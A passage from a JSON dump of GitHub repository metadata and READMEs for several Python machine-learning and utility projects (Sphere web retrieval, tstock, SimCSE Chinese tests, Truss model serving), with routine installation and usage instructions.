\u8017\u65f6\u7edf\u8ba1\u8017\u65f6 Time consuming\n\u8f66\u8f86\u68c0\u6d4b\uff1a \u5355\u5f20\u56fe\u50cf\u63a8\u65ad\u8017\u65f6\uff0c\u5728\u5355\u4e2aGTX 1050TI GPU\u4e0a\u7ea618ms\u3002 </br>\n\u8f66\u8f86\u591a\u6807\u7b7e\u8bc6\u522b\uff1a\u5355\u5f20\u56fe\u50cf\u63a8\u65ad\u8017\u65f6\uff0c\u5728\u5355\u4e2aGTX TITAN GPU\u4e0a\u7ea67ms\uff0c\u5728\u5355\u4e2aGTX 1050TI GPU\u4e0a\u7ea610ms\u3002 </br>\nVehicle detection: sigle image inference cost 18ms on single GTX1050TI. </br>\nVehicle classification: single image inference cost 10ms on single GTX1050TI.\n\n##### <2>. \u8f66\u8f86\u591a\u6807\u7b7e\u6570\u636e\u6a21\u5757\uff08\u7531\u4e8e\u4fdd\u5bc6\u534f\u8bae\u7b49\u539f\u56e0\u6682\u65f6\u4e0d\u80fd\u516c\u5f00\u6570\u636e\u96c6\uff09 dataset.py </br>\n\u8bad\u7ec3\u3001\u6d4b\u8bd5\u6570\u636e\u7c7b\u522b\u6309\u7167\u5b50\u76ee\u5f55\u5b58\u653e\uff0c\u5b50\u76ee\u5f55\u540d\u5373label\uff0cColor_Direction_type\uff0c\u5982Yellow_Rear_suv\u3002 </br>\nVehicle\u7c7b\u91cd\u8f7d\u4e86data.Dataset\u7684init, getitem, len\u65b9\u6cd5\uff1a </br>\n\u51fd\u6570__init__\u8d1f\u8d23\u521d\u59cb\u5316\u6570\u636e\u8def\u5f84\uff0c\u6570\u636e\u6807\u7b7e\uff0c\u7531\u4e8e\u6570\u636e\u6807\u7b7e\u662f\u591a\u6807\u7b7e\u7c7b\u578b\uff0c\u6545\u5bf9\u8f93\u51fa\u5411\u91cf\u5206\u6bb5\u8ba1\u7b97\u4ea4\u53c9\u71b5loss\u5373\u53ef\u3002 </br>\n\u51fd\u6570__getitem__\u8d1f\u8d23\u8fed\u4ee3\u8fd4\u56de\u6570\u636e\u548c\u6807\u7b7e\uff0c\u8fd4\u56de\u7684\u6570\u636e\u9700\u8981\u7ecf\u8fc7\u6807\u51c6\u5316\u7b49\u9884\u5904\u7406\uff1b\u51fd\u6570__len__\u83b7\u53d6\u6570\u636e\u7684\u603b\u6570\u91cf\u3002\n\n##### <3>. \u8f66\u8f86\u591a\u6807\u7b7e\u8bad\u7ec3\u3001\u6d4b\u8bd5\u6a21\u5757 train_vehicle_multilabel.py\n\u6b64\u6a21\u5757\u8d1f\u8d23\u8f66\u8f86\u591a\u6807\u7b7e\u7684\u8bad\u7ec3\u548c\u6d4b\u8bd5\u3002\u8bad\u7ec3\u8fc7\u7a0b\u9009\u62e9\u4ea4\u53c9\u71b5\u4f5c\u4e3a\u635f\u5931\u51fd\u6570\uff0c\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c\u7531\u4e8e\u662f\u591a\u6807\u7b7e\u5206\u7c7b\uff0c\u6545\u8ba1\u7b97loss\u7684\u65f6\u5019\u9700\u8981\u7d2f\u52a0\u5404\u4e2a\u6807\u7b7e\u7684loss\uff0c\u5176\u4e2dloss = loss_color + loss_direction + 2.0 * loss_type\uff0c\u6839\u636e\u7ecf\u9a8c\uff0c\u5c06\u8f66\u8f86\u7c7b\u578b\u7684loss\u6743\u91cd\u653e\u5230\u52302\u500d\u6548\u679c\u8f83\u597d\u3002\n</br>\n\u53e6\u4e00\u65b9\u9762\uff0c\u8bad\u7ec3\u5206\u4e3a\u4e24\u6b65\uff1a\uff081\uff09. \u51bb\u7ed3\u9664\u4e86Resnet-18\u9664\u5168\u8fde\u63a5\u5c42\u4e4b\u5916\u7684\u6240\u6709\u5c42\uff0cFine-tune\u8bad\u7ec3\u5230\u6536\u655b\u4e3a\u6b62\uff1b\uff082\uff09.\u6253\u5f00\u7b2c\u4e00\u6b65\u4e2d\u51bb\u7ed3\u7684\u6240\u6709\u5c42\uff0c\u8fdb\u4e00\u6b65Fine-tune\u8bad\u7ec3\uff0c\u8c03\u6574\u6240\u6709\u5c42\u7684\u6743\u91cd\uff0c\u76f4\u81f3\u6574\u4e2a\u6a21\u578b\u6536\u655b\u4e3a\u6b62\u3002\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "facebookresearch/Sphere", "link": "https://github.com/facebookresearch/Sphere", "tags": [], "stars": 511, "description": "Web-scale retrieval for knowledge-intensive NLP", "lang": "Python", "repo_lang": "", "readme": "# Sphere\n<img src=\"sphere_logo.png\" width=\"900\">\n\n# About\nIn our paper [*The Web Is Your Oyster - Knowledge-Intensive NLP against a Very Large Web Corpus*](https://arxiv.org/abs/2112.09924) we propose to use a web corpus as a universal, uncurated and unstructured knowledge source for multiple KI-NLP tasks at once. \n\nWe leverage an open web corpus coupled with strong retrieval baselines instead of a black-box, commercial search engine - an approach which facilitates transparent and reproducible research and opens up a path for future studies comparing search engines optimised for humans with retrieval solutions designed for neural networks.\nWe use a subset of [CCNet](https://github.com/facebookresearch/cc_net) covering 134M documents split into 906M passages as the web corpus which we call **Sphere**.\n\nIn this repository we open source indices of Sphere both for the sparse retrieval baseline, compatible with [Pyserini](https://github.com/castorini/pyserini), and our best dense model compatible with [distributed-faiss](https://github.com/facebookresearch/distributed-faiss). We also provide instructions on how to evaluate the retrieval performance for both standard and newly introduced retrieval metrics, using the [KILT](https://github.com/facebookresearch/KILT) API.\n\n\n## Reference\nIf you use the content of this repository in your research, please cite the following:\n```\n@article{DBLP:journals/corr/abs-2112-09924,\n  author    = {Aleksandra Piktus and Fabio Petroni\n               and Vladimir Karpukhin and Dmytro Okhonko\n               and Samuel Broscheit and Gautier Izacard\n               and Patrick Lewis and Barlas Oguz\n               and Edouard Grave and Wen{-}tau Yih\n               and Sebastian Riedel},\n  title     = {The Web Is Your Oyster - Knowledge-Intensive {NLP} against a Very\n               Large Web Corpus},\n  journal   = {CoRR},\n  volume    = {abs/2112.09924},\n  year      = {2021},\n  url       = {https://arxiv.org/abs/2112.09924},\n  eprinttype = {arXiv},\n  eprint    = {2112.09924},\n  timestamp = {Tue, 04 Jan 2022 15:59:27 +0100},\n  biburl    = {https://dblp.org/rec/journals/corr/abs-2112-09924.bib},\n  bibsource = {dblp computer science bibliography, https://dblp.org}\n}\n```\n\n## Installation\n```\ngit clone git@github.com:facebookresearch/Sphere.git\ncd Sphere\nconda create -n sphere -y python=3.7 && conda activate sphere\npip install -e .\n```\n\n## Index download\nWe open source pre-built Sphere indices:\n- a Pyserini-compatible sparse BM25 index: [sphere_sparse_index.tar.gz](https://dl.fbaipublicfiles.com/sphere/sphere_sparse_index.tar.gz) - 775.6 GiB\n- a distributed-faiss-compatible dense DPR index: [sphere_sparse_index.tar.gz](https://dl.fbaipublicfiles.com/sphere/sphere_dense_index.tar.gz) - 1.2 TiB\n\nYou can download and unpack respective index files directly e.g. via the browser of `wget`:\n```\nmkdir -p faiss_index\n\nwget -P faiss_index https://dl.fbaipublicfiles.com/sphere/sphere_sparse_index.tar.gz\ntar -xzvf faiss_index/sphere_sparse_index.tar.gz -C faiss_index\n\nwget -P faiss_index https://dl.fbaipublicfiles.com/sphere/sphere_dense_index.tar.gz\ntar -xzvf faiss_index/sphere_dense_index.tar.gz -C faiss_index\n```\n\n# Evaluation with [KILT](https://github.com/facebookresearch/KILT)\nWe implement the retrieval metrics introduced in the paper:\n- the `answer-in-context@k`,\n- the `answer+entity-in-context@k`,\n- as well as the `entity-in-input` ablation metric\n\nwithin the KILT repository. Follow instruction below to perform and evaluate retrieval on KILT tasks for both sparse and dense Sphere indices.\n\n## KILT dependencies\n```bash\npip install -e git+https://github.com/facebookresearch/KILT#egg=KILT\n```\n\nDownload KILT data. Check out instructions in the [KILT](https://github.com/facebookresearch/KILT#download-the-data) repo for more details.\n```bash\nmkdir -p data\npython src/kilt/scripts/download_all_kilt_data.py\npython src/kilt/scripts/get_triviaqa_input.py\n```\n\n## Dense index\n### Install dependencies\n```bash\npip install -e git+https://github.com/facebookresearch/distributed-faiss#egg=distributed-faiss\npip install -e git+https://github.com/facebookresearch/DPR@multi_task_training#egg=DPR\npip install spacy==2.1.8\npython -m spacy download en\n```\n\n### Launch `distributed-faiss` server\nMore details [here](https://github.com/facebookresearch/distributed-faiss#launching-servers-with-submitit-on-slurm-managed-clusters).\n```bash\npython src/distributed-faiss/scripts/server_launcher.py \\\n    --log-dir logs \\\n    --discovery-config faiss_index/disovery_config.txt \\\n    --num-servers 32 \\\n    --num-servers-per-node 4 \\\n    --timeout-min 4320 \\\n    --save-dir faiss_index/ \\\n    --mem-gb 500 \\\n    --base-port 13034 \\\n    --partition dev &\n```\n### Download assets\n- The DPR_web model: [dpr_web_biencoder.cp](http://dl.fbaipublicfiles.com/sphere/dpr_web_biencoder.cp)\n- The configuration file: [dpr_web_sphere.yaml](https://dl.fbaipublicfiles.com/sphere/dpr_web_sphere.yaml)\n```bash\nmkdir -p checkpoints\nwget -P checkpoints http://dl.fbaipublicfiles.com/sphere/dpr_web_biencoder.cp\n\nmkdir -p configs\nwget -P configs https://dl.fbaipublicfiles.com/sphere/dpr_web_sphere.yaml\n```\n\nSubsequently update the following fields in the `dpr_web_sphere.yaml` configuration file:\n```bash\nn_docs: 100 # the number of documents to retrieve per query\nmodel_file: checkpoints/dpr_web_biencoder.cp # path to the downloaded model file\nrpc_retriever_cfg_file: faiss_index/disovery_config.txt # path to the discovery config file used when launching the distributed-faiss server\nrpc_index_id: dense # the name of the folder contaning dense index partitions\n```\n\n### Execute retrieval\nIn order to perform retrieval from the dense index you first need to launch the distributed-faiss server as described above. You can control the KILT datasets you perform retrieval for by modifying respective config files, e.g. `src/kilt/configs/dev_data.json`.\n```bash\npython src/kilt/scripts/execute_retrieval.py \\\n    --model_name dpr_distr \\\n    --model_configuration configs/dpr_web_sphere.yaml \\\n    --test_config src/kilt/kilt/configs/dev_data.json \\\n    --output_folder output/dense/\n```\n## Sparse index\n### Install dependencies\nOur sparse index relies on Pyserini, and therfore requires [an install of Java 11](https://github.com/castorini/pyserini#installation) to be available on the machine.\n```bash\npip install jnius\npip install pyserini==0.9.4.0\n```\n\n Next, download the following file:\n- The configuration file: [bm25_sphere.json](https://dl.fbaipublicfiles.com/sphere/bm25_sphere.json)\n```bash\nmkdir -p configs\nwget -P configs https://dl.fbaipublicfiles.com/sphere/bm25_sphere.json\n```\n\nSubsequently update the following field in the `bm25_sphere.json` configuration file:\n```bash\n\"k\": 100, # the number of documents to retrieve per query\n\"index\": \"faiss_index/sparse\", # path to the unpacked sparse BM25 index\n```\n\n### Execute retrieval\n```\npython src/kilt/scripts/execute_retrieval.py \\\n    --model_name bm25 \\\n    --model_configuration configs/bm25_sphere.json \\\n    --test_config src/kilt/kilt/configs/dev_data.json \\\n    --output_folder output/sparse/\n```\n\n## Retrieval evaluation\n```bash\npython src/kilt/kilt/eval_retrieval.py \\\n    output/$index/$dataset-dev-kilt.jsonl \\ # retrieval results - the output of running eval_retrieval.py\n    data/$dataset-dev-kilt.jsonl \\ # gold KILT file (available for download in the KILT repo)\n    --ks=\"1,20,100\"\n```\n\n\n# Standalone dense index usage\nInstall and launch `distributed-faiss`. More details on the `distributed-faiss` server [here](https://github.com/facebookresearch/distributed-faiss#launching-servers-with-submitit-on-slurm-managed-clusters).\n\n```bash\npip install -e git+https://github.com/facebookresearch/distributed-faiss#egg=distributed-faiss\n```\n\n```bash\npython src/distributed-faiss/scripts/server_launcher.py \\\n    --log-dir logs/ \\\n    --discovery-config faiss_index/disovery_config.txt \\\n    --num-servers 32 \\\n    --num-servers-per-node 4 \\\n    --timeout-min 4320 \\\n    --save-dir faiss_index/ \\\n    --mem-gb 500 \\\n    --base-port 13034 \\\n    --partition dev &\n```\n\n## Standalone client example\nFor a minimal working example of querying the Sphere dense index, we propose to interact with the DPR model via `transformers` API. To that end please install dependencies:\n```bash\npip install transformers==4.17.0\n```\nUsing the DPR checkpoing with transformers API requires reformatting the original checkpoint. You can download and unpack the `transformers`-complatible DPR_web query encoder here:\n- [dpr_web_query_encoder_hf.tar.gz](https://dl.fbaipublicfiles.com/sphere/dpr_web_query_encoder_hf.tar.gz)\n\n```bash\nmkdir -p checkpoints\nwget -P checkpoints https://dl.fbaipublicfiles.com/sphere/dpr_web_query_encoder_hf.tar.gz\ntar -xzvf checkpoints/dpr_web_query_encoder_hf.tar.gz -C checkpoints/\n```\nAlternatively, you can convert the [`dpr_web_biencoder.cp`](http://dl.fbaipublicfiles.com/sphere/dpr_web_biencoder.cp) model yourself using [available scripts](https://github.com/huggingface/transformers/blob/main/src/transformers/models/dpr/convert_dpr_original_checkpoint_to_pytorch.py).\n\n\nThen you can run the interactive demo:\n```bash\npython scripts/sphere_client_demo_hf.py \\\n    --encoder checkpoints/dpr_web_query_encoder_hf \\\n    --discovery-config faiss_index/disovery_config.txt \\\n    --index-id dense\n```\n\n# License\n`Sphere` is released under the CC-BY-NC 4.0 license. See the `LICENSE` file for details.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "Gbox4/tstock", "link": "https://github.com/Gbox4/tstock", "tags": ["python", "trading", "stock-market", "crypto", "stocks", "stock-chart"], "stars": 511, "description": "\ud83d\udcc8A command line tool to view stock charts in the terminal.", "lang": "Python", "repo_lang": "", "readme": "# tstock - Generate stock charts in the terminal! \ud83d\ude80\ud83d\ude80\ud83d\ude80\n\n[![Downloads](https://pepy.tech/badge/tstock)](https://pepy.tech/project/tstock)\n![GitHub code size in bytes](https://img.shields.io/github/languages/code-size/Gbox4/tstock?label=size)\n![PyPI](https://img.shields.io/pypi/v/tstock)\n\n\ud83d\udcc8 tstock is a tool to easily generate stock charts from the command line.\n\nJust type `tstock aapl` to get a 3 month candlestick chart of $AAPL in your terminal!\n\n<p align=\"center\">\n  <img src=\"https://github.com/Gbox4/Gbox4/raw/master/tstock-demo.gif\" alt=\"tstock-demo\">\n</p>\n\n# Features\n- Stocks for most global exchanges\n- Support for major cryptocurrencies\n- Forex markets and currency exchange rates\n- Different time intervals, including intraday trading\n- \"Wisdom\"?!\n\n# Dependencies\n\n- Python 3.6 or greater\n- Docker, if using the Docker version\n\n# Installation\n\n### PyPI\n\n`tstock` is available as a Python 3 package. You can install it using `pip`:\n\n```bash\npip install tstock # use pip3 on Ubuntu 18.04 and older\n```\n\n### AUR\n\n`tstock` is also available on the AUR. If you are on an Archlinux based system, you can just install it using your favorite AUR helper. Example using `yay`:\n\n```bash\nyay -S tstock\n```\n\n### Docker\n\n1. Build Docker: `docker build -t tstock .`\n2. Run: `docker run -e ALPHAVANTAGE_API_KEY=<yourkey> -it tstock:latest tstock aapl`\n\n# Getting started\n\n### AlphaVantage API setup\n\nAfter installing `tstock`, you will need a AlphaVantage API key to pull the market data.\n\n- Make a free AlphaVantage API account at https://www.alphavantage.co/support/#api-key\n- After creating the account, you will see your free API key\n- Run `export ALPHAVANTAGE_API_KEY=<your access key>`. You can make this permanent by adding this line to your `.bashrc`\n\nNOTE: If you are on Windows, you can set your environment variable by running `$env:ALPHAVANTAGE_API_KEY=\"<your access key>\"`. You can make this permanent by adding this line to `Microsoft.PowerShell_profile.ps1`\n\n### Usage\n\n```\n$ tstock --help\nusage: tstock [-h] [-t INTERVAL] [-b COUNT] [-w] [-s] [--chart] [-c CURRENCY] [-y LINES] [-a CLASS]\n                   [--padx COLUMNS] [--pady LINES] [--short] [--nocolor] [-v] [--version]\n                   [TICKER]\n\ntstock - generate stock charts in the terminal.\n\npositional arguments:\n  TICKER          Which ticker's data to pull.\n\noptions:\n  -h, --help      show this help message and exit\n  -t INTERVAL     Time interval of each candlestick. Valid values are '1min', '5min', '15min', '30min', '60min', 'day', 'week', or 'month'. Defaults to 'day'.\n  -b COUNT        Number of time intervals back to go back. The number of candlesticks generated. Defaults to fill the terminal.\n  -w              Enables extra words of 'wisdom'.\n  -s              Search for stock tickers. Useful for getting exchange codes.\n  --chart         Print the chart only. Overrides -w.\n  -c CURRENCY     Set the currency. Only works with '-a crypto'. Defaults to 'USD'.\n  -y LINES        Height of the chart. Defaults to fill the terminal.\n  -a CLASS        The asset class of TICKER. Valid values are 'stock', 'crypto', and 'forex'. Autodetects depending on input ticker.\n  --padx COLUMNS  Horizontal padding of the chart. Defaults to 5.\n  --pady LINES    Vertical padding of the chart. Defaults to 4.\n  --short         Short output, prints the last price only.\n  --nocolor       Prints chart with no color.\n  --upcolor COLOR    Color of positive candlesticks. Valid values are 'green', 'red', or 'blue'. Defaults to green.\n  --downcolor COLOR  Color of negative candlesticks. Valid values are 'green', 'red', or 'blue'. Defaults to red.\n  -v              Toggle verbosity.\n  --version       Print tstock version.\n\nExamples:\n    tstock aapl # chart of $AAPL\n    tstock aapl -b 24 -t 60min # the past 24 60-minute-intervals of $AAPL, 20 lines high\n    tstock -s shopify # search the API for keyword \"shopify\"\n    tstock shop.trt # chart of $SHOP on the TRT exchange\n    tstock btc -c GBP -w # chart of the price of Bitcoin in GBP with rockets\n    tstock usd/eur # chart of the price of USD in euros\n```\n\nRun `tstock TICKER` to get the a chart of `$TICKER`. Use `-b COUNT` to specify the number of intervals back you want to pull. `-t INTERVAL` will specify the time interval of each candlestick. Use `-y LINES` to specify the length of the chart's y axis.\n\nUse the search function `tstock -s KEYWORD` to search the AlphaVantage API for tickers.\n\nYou can get international markets by specifying a code after `.`. For example, to get SAIC Motor Corporation on the Shanghai Stock Exchange, run `tstock 600104.SHH`. The `-s` option is useful for finding the exchange codes for foreign exchanges. For example:\n\n```\ntstock tesco -s\nThe search returned the following results:\nTSCO.LON (Tesco PLC)\n        Reigon:         United Kingdom\n        Type:           Equity\n        Currency:       GBX\n```\n\nNow we know the ticker, we can get fetch the chart with `tstock tsco.lon`.\n\nFor more options, run `tstock -h`\n\nMore API information in AlphaVantage's docs: https://www.alphavantage.co/documentation\n\n\n# Notes\n\n- The free tier of the API is limited to 500 API calls per day, 5 calls per minute.\n- If you are using Windows, the ANSI escape codes will not display properly in the default cmd shell or PowerShell. Please use a terminal emulator that supports ANSI escape codes such as <a href='https://www.microsoft.com/en-us/p/windows-terminal/9n0dx20hk701?activetab=pivot:overviewtab'>Windows Terminal</a>.\n\n# Donate\n\nI develop `tstock` for free in my spare time. If you like it, and want to buy me a coffee, I'd really appreciate it.\n\nDonate: https://www.buymeacoffee.com/Gbox4\n\nBitcoin: (<a href='https://i.ibb.co/b2rS0kV/btcgithubtstock.png'>QR</a>) `bc1qusuztegpfuh7jk25l2dx5xyjvasgryrqg42d5n`\n\nBCH: (<a href='https://i.ibb.co/WpWv96K/download.png'>QR</a>) `qq0gedhne30lcr3253zz08sy4ryxukgx4gcrk6qzjg`\n\nMonero: (<a href='https://i.ibb.co/PNhgC3q/xmrgithubtstock.png'>QR</a>) `87wuCKbbchKV8Dz3JRoSN3jaqWBSiEShFXkFrYUaKT8Bew4P7dFvUJWVVR6RLr84J44QCdtNVyR6QC7aCSKYUWfnGK9y4K2`\n\nNano: `nano_15pqkfph8wfk4dbtkcrq88giff6xgqzs3znf44nfe1g8sgaixwaj6pbepsmn`\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "bojone/SimCSE", "link": "https://github.com/bojone/SimCSE", "tags": [], "stars": 511, "description": "SimCSE\u5728\u4e2d\u6587\u4efb\u52a1\u4e0a\u7684\u7b80\u5355\u5b9e\u9a8c", "lang": "Python", "repo_lang": "", "readme": "# SimCSE \u4e2d\u6587\u6d4b\u8bd5\n\nSimCSE\u5728\u5e38\u89c1\u4e2d\u6587\u6570\u636e\u96c6\u4e0a\u7684\u6d4b\u8bd5\uff0c\u5305\u542b[ATEC](https://github.com/IceFlameWorm/NLP_Datasets/tree/master/ATEC)\u3001[BQ](http://icrc.hitsz.edu.cn/info/1037/1162.htm)\u3001[LCQMC](http://icrc.hitsz.edu.cn/Article/show/171.html)\u3001[PAWSX](https://arxiv.org/abs/1908.11828)\u3001[STS-B](https://github.com/pluto-junzeng/CNSD)\u51715\u4e2a\u4efb\u52a1\u3002\n\n## \u4ecb\u7ecd\n\n- \u535a\u5ba2\uff1ahttps://kexue.fm/archives/8348\n- \u8bba\u6587\uff1a[\u300aSimCSE: Simple Contrastive Learning of Sentence Embeddings\u300b](https://arxiv.org/abs/2104.08821)\n- \u5b98\u65b9\uff1ahttps://github.com/princeton-nlp/SimCSE\n\n## \u6587\u4ef6\n\n```\n- utils.py  \u5de5\u5177\u51fd\u6570\n- eval.py  \u8bc4\u6d4b\u4e3b\u6587\u4ef6\n```\n\n## \u8bc4\u6d4b\n\n\u547d\u4ee4\u683c\u5f0f\uff1a\n```\npython eval.py [model_type] [pooling] [task_name] [dropout_rate]\n```\n\n\u4f7f\u7528\u4f8b\u5b50\uff1a\n```\npython eval.py BERT cls ATEC 0.3\n```\n\n\u5176\u4e2d\u56db\u4e2a\u53c2\u6570\u5fc5\u987b\u4f20\u5165\uff0c\u542b\u4e49\u5206\u522b\u5982\u4e0b\uff1a\n```\n- model_type: \u6a21\u578b\uff0c\u5fc5\u987b\u662f['BERT', 'RoBERTa', 'WoBERT', 'RoFormer', 'BERT-large', 'RoBERTa-large', 'SimBERT', 'SimBERT-tiny', 'SimBERT-small']\u4e4b\u4e00\uff1b\n- pooling: \u6c60\u5316\u65b9\u5f0f\uff0c\u5fc5\u987b\u662f['first-last-avg', 'last-avg', 'cls', 'pooler']\u4e4b\u4e00\uff1b\n- task_name: \u8bc4\u6d4b\u6570\u636e\u96c6\uff0c\u5fc5\u987b\u662f['ATEC', 'BQ', 'LCQMC', 'PAWSX', 'STS-B']\u4e4b\u4e00\uff1b\n- dropout_rate: \u6d6e\u70b9\u6570\uff0cdropout\u7684\u6bd4\u4f8b\uff0c\u5982\u679c\u4e3a0\u5219\u4e0ddropout\uff1b\n```\n\n## \u73af\u5883\n\u6d4b\u8bd5\u73af\u5883\uff1atensorflow 1.14 + keras 2.3.1 + bert4keras 0.10.5\uff0c\u5982\u679c\u5728\u5176\u4ed6\u73af\u5883\u7ec4\u5408\u4e0b\u62a5\u9519\uff0c\u8bf7\u6839\u636e\u9519\u8bef\u4fe1\u606f\u81ea\u884c\u8c03\u6574\u4ee3\u7801\u3002\n\n## \u4e0b\u8f7d\n\nGoogle\u5b98\u65b9\u7684\u4e24\u4e2aBERT\u6a21\u578b\uff1a\n- BERT\uff1a[chinese_L-12_H-768_A-12.zip](https://storage.googleapis.com/bert_models/2018_11_03/chinese_L-12_H-768_A-12.zip)\n- RoBERTa\uff1a[chinese_roberta_wwm_ext_L-12_H-768_A-12.zip](https://github.com/ymcui/Chinese-BERT-wwm)\n- NEZHA\uff1a[NEZHA-base-WWM](https://github.com/huawei-noah/Pretrained-Language-Model/tree/master/NEZHA-TensorFlow)\n- WoBERT\uff1a[chinese_wobert_plus_L-12_H-768_A-12.zip](https://github.com/ZhuiyiTechnology/WoBERT)\n- RoFormer\uff1a[chinese_roformer_L-12_H-768_A-12.zip](https://github.com/ZhuiyiTechnology/roformer)\n- SimBERT: [chinese_simbert_L-12_H-768_A-12.zip](https://github.com/ZhuiyiTechnology/simbert)\n- SimBERT-small: [chinese_simbert_L-6_H-384_A-12.zip](https://github.com/ZhuiyiTechnology/simbert)\n- SimBERT-tiny: [chinese_simbert_L-4_H-312_A-12.zip](https://github.com/ZhuiyiTechnology/simbert)\n\n\u5173\u4e8e\u8bed\u4e49\u76f8\u4f3c\u5ea6\u6570\u636e\u96c6\uff0c\u53ef\u4ee5\u4ece\u6570\u636e\u96c6\u5bf9\u5e94\u7684\u94fe\u63a5\u81ea\u884c\u4e0b\u8f7d\uff0c\u4e5f\u53ef\u4ee5\u4ece\u4f5c\u8005\u63d0\u4f9b\u7684\u767e\u5ea6\u4e91\u94fe\u63a5\u4e0b\u8f7d\u3002\n- \u94fe\u63a5: https://pan.baidu.com/s/1d6jSiU1wHQAEMWJi7JJWCQ \u63d0\u53d6\u7801: qkt6\n\n\u5176\u4e2dsenteval_cn\u76ee\u5f55\u662f\u8bc4\u6d4b\u6570\u636e\u96c6\u6c47\u603b\uff0csenteval_cn.zip\u662fsenteval\u76ee\u5f55\u7684\u6253\u5305\uff0c\u4e24\u8005\u4e0b\u5176\u4e00\u5c31\u597d\u3002\n\n## \u76f8\u5173\n- BERT-whitening\uff1ahttps://github.com/bojone/BERT-whitening\n\n## \u4ea4\u6d41\n\nQQ\u4ea4\u6d41\u7fa4\uff1a808623966\uff0c\u5fae\u4fe1\u7fa4\u8bf7\u52a0\u673a\u5668\u4eba\u5fae\u4fe1\u53f7spaces_ac_cn\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "basetenlabs/truss", "link": "https://github.com/basetenlabs/truss", "tags": ["data-science", "machine-learning", "python"], "stars": 511, "description": "Serve any model without boilerplate code", "lang": "Python", "repo_lang": "", "readme": "# Truss\n\n**Serve any model without boilerplate code**\n\n![Truss logo](https://raw.githubusercontent.com/basetenlabs/truss/main/docs/assets/truss_logo_horizontal.png)\n\n[![PyPI version](https://badge.fury.io/py/truss.svg)](https://badge.fury.io/py/truss)\n[![ci_status](https://github.com/basetenlabs/truss/actions/workflows/main.yml/badge.svg)](https://github.com/basetenlabs/truss/actions/workflows/main.yml)\n\nMeet Truss, a seamless bridge from model development to model delivery. Truss presents an open-source standard for packaging models built in any framework for sharing and deployment in any environment, local or production.\n\nGet started with the [end-to-end tutorial](https://truss.baseten.co/e2e).\n\n## What can I do with Truss?\n\nIf you've ever tried to get a model out of a Jupyter notebook, Truss is for you.\n\nTruss exposes just the right amount of complexity around things like Docker and APIs without you really having to think about them. Here are some of the things Truss does:\n\n* \ud83c\udfce Turns your Python model into a microservice with a production-ready API endpoint, no need for Flask or Django.\n* \ud83c\udf9a For most popular frameworks, includes automatic model serialization and deserialization.\n* \ud83d\udecd Freezes dependencies via Docker to make your training environment portable.\n* \ud83d\udd70 Enables rapid iteration with local development that matches your production environment.\n* \ud83d\uddc3 Encourages shipping parsing and even business logic alongside your model with integrated pre- and post-processing functions.\n* \ud83e\udd16 Supports running predictions on GPUs. (Currently limited to certain hardware, more coming soon)\n* \ud83d\ude49 Bundles secret management to securely give your model access to API keys.\n\n## Installation\n\nTruss requires Python >=3.7, <3.11\n\nTo install from [PyPi](https://pypi.org/project/truss/), run:\n\n```\npip install truss\n```\n\nTo download the source code directly (for development), clone this repository and follow the setup commands in our [contributors' guide](CONTRIBUTING.md).\n\nTruss is actively developed, and we recommend using the latest version. To update your Truss installation, run:\n\n```\npip install --upgrade truss\n```\n\nThough Truss is in beta, we do care about backward compatibility. Review the [release notes](docs/CHANGELOG.md) before upgrading, and note that we follow semantic versioning, so any breaking changes require the release of a new major version.\n\n## How to use Truss\n\nGenerate and serve predictions from a Truss with [this Jupyter notebook](docs/notebooks/sklearn_example.ipynb).\n\n### Quickstart: making a Truss\n\n```python\n!pip install --upgrade scikit-learn truss\n\nimport truss\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.datasets import load_iris\n\n# Load the iris data set\niris = load_iris()\ndata_x = iris['data']\ndata_y = iris['target']\n\n# Train the model\nrfc = RandomForestClassifier()\nrfc.fit(data_x, data_y)\n\n# Create the Truss (serializing & packaging model)\ntr = truss.create(rfc, target_directory=\"iris_rfc_truss\")\n\n# Serve a prediction from the model\ntr.predict({\"inputs\": [[0, 0, 0, 0]]})\n```\n\n### Package your model\n\nThe `truss.create()` command can be used with any supported framework:\n\n* [Hugging Face](https://truss.baseten.co/create/huggingface)\n* [LightGBM](https://truss.baseten.co/create/lightgbm)\n* [PyTorch](https://truss.baseten.co/create/pytorch)\n* [scikit-learn](https://truss.baseten.co/create/sklearn)\n* [Tensorflow](https://truss.baseten.co/create/tensorflow)\n* [XGBoost](https://truss.baseten.co/create/xgboost)\n\nBut in more complex cases, you can build a Truss manually for any model. Start with `truss init my_truss` and follow [this guide](https://truss.baseten.co/create/manual).\n\n### Serve your model locally\n\nServing your model with Truss, on Docker, lets you interface with your model via HTTP requests. Start your model server with:\n\n```\ntruss run-image iris_rfc_truss\n```\n\nThen, as long as the container is running, you can invoke the model as an API as follows:\n\n```\ncurl -X POST http://127.0.0.1:8080/v1/models/model:predict -d '{\"inputs\": [[0, 0, 0, 0]]}'\n```\n\n### Configure your model for deployment\n\nTruss is configurable to its core. Every Truss must include a file `config.yaml` in its root directory, which is automatically generated when the Truss is created. However, configuration is optional. Every configurable value has a sensible default, and a completely empty config file is valid.\n\nThe Truss we generated above in the quickstart sample has a good example of a typical Truss config:\n\n```yaml\nmodel_framework: sklearn\nmodel_metadata:\n  model_binary_dir: model\n  supports_predict_proba: true\npython_version: py39\nrequirements:\n- scikit-learn==1.0.2\n- threadpoolctl==3.0.0\n- joblib==1.1.0\n- numpy==1.20.3\n- scipy==1.7.3\n```\n\nFollow the [configuration guide](https://truss.baseten.co/develop/configuration) and use the complete reference of configurable properties to make your Truss perform exactly as you wish.\n\n### Deploy your model\n\nYou can deploy a Truss anywhere that can run a Docker image, as well as purpose-built platforms like [Baseten](https://baseten.co).\n\nFollow step-by-step deployment guides for the following platforms:\n\n* [AWS ECS](https://truss.baseten.co/deploy/aws)\n* [Baseten](https://truss.baseten.co/deploy/baseten)\n* [GCP Cloud Run](https://truss.baseten.co/deploy/gcp)\n\n## Contributing\n\nWe hope this vision excites you, and we gratefully welcome contributions in accordance with our [contributors' guide](CONTRIBUTING.md) and [code of conduct](CODE_OF_CONDUCT.md).\n\nTruss was first developed at [Baseten](https://baseten.co) by maintainers Phil Howes, Pankaj 